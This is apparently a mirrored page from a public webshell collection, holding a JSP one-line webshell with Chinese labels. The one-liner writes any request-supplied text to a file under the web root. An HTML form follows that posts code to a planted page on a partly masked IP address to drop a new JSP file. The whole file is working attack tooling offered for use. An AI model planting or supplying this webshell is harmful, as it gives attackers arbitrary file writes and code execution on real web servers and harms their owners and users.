mirror of
https://github.com/tennc/webshell
synced 2024-11-22 03:03:03 +00:00
9 lines
No EOL
446 B
Text
9 lines
No EOL
446 B
Text
JSP一句话
|
||
|
||
1) <% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %>
|
||
|
||
提交客户端:
|
||
<form action="http://59.x.x.x:8080/scdc/bob.jsp?f=fuckjp.jsp" method="post">
|
||
<textarea name=t cols=120 rows=10 width=45>your code</textarea><BR><center><br>
|
||
<input type=submit value="提交">
|
||
</form> |